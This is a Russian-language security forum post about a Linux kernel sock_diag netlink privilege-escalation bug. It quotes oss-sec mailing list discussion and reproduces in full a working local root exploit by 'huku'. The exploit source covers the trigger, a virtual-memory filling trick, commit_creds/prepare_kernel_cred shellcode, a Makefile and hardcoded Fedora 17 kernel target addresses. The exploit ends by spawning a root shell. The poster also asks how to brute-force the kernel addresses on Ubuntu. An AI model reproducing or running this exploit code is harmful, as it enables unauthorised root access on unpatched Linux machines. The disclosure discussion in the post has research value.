SynQ красавчег
http://seclists.org/oss-sec/2013/q1/427
кстати, почему в бубунте адреса прописываешь вручную? Можно ль побрутить?
Цитата:
commit_creds = (_commit_creds) 0xc106bc60;
prepare_kernel_cred = (_prepare_kernel_cred) 0xc106bea0;
|
и еще, насколько это правда?
Цитата:
Nice find! Do you happen to know of distro backports of the affected
code to older kernels?
No. I haven't investigated this any further. So I don't know.
When you wrote that the bug is "in there for
ages", did you mean that 3.3 has been out "for ages" or something else?
Kind of. The missing upper bound check was (and still is) in there in
older kernels as well, at times as this code was still living in
inet_diag.c. But it wasn't (and isn't) vulnerable as the
inet_diag_handlers[] array is 256 elements big. So userland cannot
exploit this as the type for the family is __u8
|
Цитата:
Since full-disclosure has been DDoSed to oblivion, here's huku's sock_diag 1 year-old exploit:
http://pastebin.com/gwn1qErx
http://seclists.org/oss-sec/2013/q1/431
http://sysc.tl/mpougatsa_me_krema_kai_milko.tgz
|
mpougatsa_me_krema_kai_milko.tgz:
Код:
#include "shellcode.h"
#include "trigger.h"
#include "vmsuck.h"
typedef int (*dump_t)(void *, struct nlmsghdr *);
struct sock_diag_handler {
char family;
dump_t dump;
};
struct target {
const char *name;
size_t index;
void *prepare_kernel_cred;
void *commit_creds;
};
/* ...just in case you forgot the root password on your Fedora CPanel/Plesk ;) */
static struct target targets[] = {
/* ... */
{"Fedora Core 17 3.4.4-3.fc17.i686 #1", 57, VOIDP(0xc045bb50), VOIDP(0xc045b8e0)},
{"Fedora Core 17 3.5.2-3.fc17.i686 #1", 57, VOIDP(0xc045ec60), VOIDP(0xc045ea20)},
{"Fedora Core 17 3.5.5-2.fc17.i686 #1", 57, VOIDP(0xc045ed60), VOIDP(0xc045eb20)}
/* ... */
};
static size_t target_count = sizeof(targets) / sizeof(struct target);
void print_targets(void) {
int i;
printf("Available targets:\n");
for(i = 0; i < target_count; i++)
printf(" %.2d %s\n", i, targets[i].name);
printf("\n");
return;
}
/* Callback for `vmsuck()'; creates a `struct sock_diag_handler' that will
* be used to fill a 1G file.
*/
int new_sock_diag_handler(void **buf, size_t *size, void *arg) {
struct sock_diag_handler *sdh;
sdh = (struct sock_diag_handler *)malloc(sizeof(*sdh));
sdh->family = AF_UNSPEC;
sdh->dump = (dump_t)arg;
*buf = (void *)sdh;
*size = sizeof(*sdh);
return EXIT_SUCCESS;
}
int main(int argc, char *argv[]) {
struct target *t;
size_t i;
printf("\n");
printf("Linux kernel >= 3.2 NETLINK_INET_DIAG 0day\n");
printf("by huku <huku _at_ grhack _dot_ net>\n");
printf("\n");
if(argc < 2 || (i = (size_t)atoi(argv[1])) >= target_count) {
print_targets();
return EXIT_FAILURE;
}
t = &targets[i];
printf("Using target \"%s\"\n", t->name);
prepare = (prepare_kernel_cred_t)t->prepare_kernel_cred;
commit = (commit_creds_t)t->commit_creds;
printf("Current uid is %u\n", getuid());
printf("Sucking up the whole VM space\n");
if(FAILED(vmsuck(new_sock_diag_handler, (void *)shellcode)))
return EXIT_FAILURE;
if(FAILED(trigger(t->index)))
return EXIT_FAILURE;
if(getuid() == 0) {
printf("Kernel was asswooped\n");
execl("/bin/sh", "/bin/sh", NULL);
}
printf("Shit, or what?\n");
return EXIT_SUCCESS;
}
/* EOF? ;) */
#define _SHELLCODE_H_
#define REGPARM1 __attribute__((regparm(1)))
typedef REGPARM1 void *(*prepare_kernel_cred_t)(void *);
typedef REGPARM1 int (*commit_creds_t)(void *);
extern prepare_kernel_cred_t prepare;
extern commit_creds_t commit;
void shellcode(void);
#endif /* _SHELLCODE_H_ */
#include "vmsuck.h"
/* Create a 1G file used by `mmap()' in `vmsuck()'. */
static int build_vmsuck_file(vmsuck_callback_t vmsuck_cb, void *arg) {
void *buf;
size_t i, bufsiz;
char bigbuf[BUFSIZ];
int fd;
if(FAILED(vmsuck_cb(&buf, &bufsiz, arg)))
return EXIT_FAILURE;
memset(bigbuf, 0, sizeof(bigbuf));
for(i = 0; i < BUFSIZ / bufsiz; i++)
memcpy(bigbuf + i * bufsiz, buf, bufsiz);
if((fd = open(VMSUCK_FILE_PATH, O_WRONLY | O_CREAT | O_TRUNC, 0700)) < 0) {
perror("open");
return EXIT_FAILURE;
}
for(i = 0; i < ONE_GIGA / sizeof(bigbuf); i++) {
printf("\rCreating 1G file...%.2f%%", GIGA(lseek(fd, 0, SEEK_CUR)) * 100);
write(fd, bigbuf, sizeof(bigbuf));
}
printf("\n");
close(fd);
return EXIT_SUCCESS;
}
/* Suck up the whole userspace virtual memory. */
int vmsuck(vmsuck_callback_t vmsuck_cb, void *arg) {
size_t pagesize_pow2 = (size_t)log2((double)getpagesize());
size_t pow2 = (size_t)log2((double)ONE_GIGA);
size_t size, num, total;
int fd;
void *p;
if(FAILED(build_vmsuck_file(vmsuck_cb, arg)))
return EXIT_FAILURE;
fd = open(VMSUCK_FILE_PATH, O_RDONLY);
total = num = 0;
size = 1 << pow2;
while(pow2 >= pagesize_pow2) {
p = mmap(0, size, PROT_READ | PROT_EXEC, MAP_PRIVATE | MAP_NORESERVE,
fd, ONE_GIGA - size);
if(p == MAP_FAILED) {
total += num * size;
#ifdef DEBUG
printf("2^%zu x %zu\n", pow2, num);
#endif
pow2--;
size = 1 << pow2;
num = 0;
}
else {
num++;
}
}
printf("%zub %fKb %fMb %fGb\n", total, KILO(total), MEGA(total), GIGA(total));
close(fd);
#ifndef DEBUG
unlink(VMSUCK_FILE_PATH);
#endif
return EXIT_SUCCESS;
}
BIN=woopme
CFLAGS=-Wall -Wno-unused-result -std=gnu99 -O2 -ggdb
LDFLAGS=-lm
all: $(OBJS)
cc $(OBJS) -o $(BIN) $(LDFLAGS)
.PHONY: clean
clean:
rm -fr $(OBJS) $(BIN) a.out *.core core *~
#include "trigger.h"
#define FROM AF_MAX
#define TO 255
#define SOCK_DIAG_BY_FAMILY 20
/* Trigger the vulnerability, yes that simple. */
int trigger(size_t index) {
int r = EXIT_FAILURE;
int fd;
size_t from, to, i;
__u8 buf[BUFSIZ];
struct sockaddr_nl snl;
struct inet_diag_req *req;
struct nlmsghdr *nlmsg;
struct iovec iov;
struct msghdr msg;
/* Create and bind the netlink socket; no root privs required. */
if((fd = socket(PF_NETLINK, SOCK_RAW, NETLINK_INET_DIAG)) < 0) {
perror("socket");
goto _err;
}
memset((void *)&snl, 0, sizeof(snl));
snl.nl_family = PF_NETLINK;
snl.nl_pid = getpid();
if((bind(fd, (struct sockaddr *)&snl, sizeof(struct sockaddr))) < 0) {
perror("bind");
goto _err;
}
/* Destination: ring0 :) */
snl.nl_pid = 0;
/* Invalid index given? (ie. one that won't trigger the bug). */
if(index < AF_MAX) {
from = FROM;
to = TO;
printf("Will dereference sock_diag_handlers[%zu...%zu]\n", from, to);
}
else {
printf("Will dereference sock_diag_handlers[%zu]\n", index);
from = to = index;
}
for(i = from; i < to + 1; i++) {
memset(buf, 0, BUFSIZ);
nlmsg = (struct nlmsghdr *)buf;
nlmsg->nlmsg_len = NLMSG_LENGTH(sizeof(req));
nlmsg->nlmsg_pid = getpid();
nlmsg->nlmsg_flags = NLM_F_REQUEST;
nlmsg->nlmsg_type = SOCK_DIAG_BY_FAMILY;
req = (struct inet_diag_req *)NLMSG_DATA(nlmsg);
req->idiag_family = (__u8)i;
memset((void *)&iov, 0, sizeof(iov));
iov.iov_base = (void *)nlmsg;
iov.iov_len = nlmsg->nlmsg_len;
memset((void *)&msg, 0, sizeof(msg));
msg.msg_name = (void *)&snl;
msg.msg_namelen = sizeof(snl);
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
if((sendmsg(fd, &msg, 0)) != nlmsg->nlmsg_len) {
perror("sendmsg");
goto _err;
}
}
r = EXIT_SUCCESS;
_err:
close(fd);
return r;
}
#define _VMSUCK_H_
#include "includes.h"
#define ONE_KILO 1024
#define ONE_MEGA 1048576
#define ONE_GIGA 1073741824
#define KILO(x) (((float)(x)) / ONE_KILO)
#define MEGA(x) (((float)(x)) / ONE_MEGA)
#define GIGA(x) (((float)(x)) / ONE_GIGA)
#define VMSUCK_FILE_PATH "/tmp/ "
/* Returns an allocated buffer and its size. The buffer is used as a fill
* pattern for a 1G file used in `vmsuck()'. The last argument can be used
* by the user to pass arguments to the callback.
*/
typedef int (*vmsuck_callback_t)(void **, size_t *, void *);
int vmsuck(vmsuck_callback_t, void *);
#endif /* _VMSUCK_H_ */
#define _TRIGGER_H_
int trigger(size_t);
#endif /* _TRIGGER_H_ */
#include "shellcode.h"
/* A very sophisticated shellcode (sic). */
prepare_kernel_cred_t prepare = NULL;
commit_creds_t commit = NULL;
void shellcode(void) {
commit(prepare(NULL));
return;
}
the recently published `sock_diag_handlers[]' vulnerability :(
Have a look at the source code, there's a nice trick there (hint: vmsuck.c).
./hk
#define _INCLUDES_H_
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <unistd.h>
#include <fcntl.h>
#include <math.h>
#include <linux/netlink.h>
#include <linux/inet_diag.h>
/* #define DEBUG */
#define VOIDP(x) ((void *)(x))
#define FAILED(x) ((x) == EXIT_FAILURE)
#endif /* _INCLUDES_H_ */
не стоит и пытаться?
PS:
Код:
/* A very sophisticated shellcode (sic). */
prepare_kernel_cred_t prepare = NULL;
commit_creds_t commit = NULL;
void shellcode(void) {
commit(prepare(NULL));
return;
}
Цитата:
Two of the files in the tarball have timestamps of 2012-07-14. Of
course, this is no proof, but it does appear that the bug was privately
known since about July 2012. The README says:
"A trimmed down version of an old exploit for the recently published
`sock_diag_handlers[]' vulnerability"
The code contains:
printf("Linux kernel >= 3.2 NETLINK_INET_DIAG 0day\n");
printf("by huku <huku _at_ grhack _dot_ net>\n");
Is ">= 3.2" an error (should have been ">= 3.3" as your original posting
in here said)? (The difference may be whether Ubuntu 12.04 is affected.)
|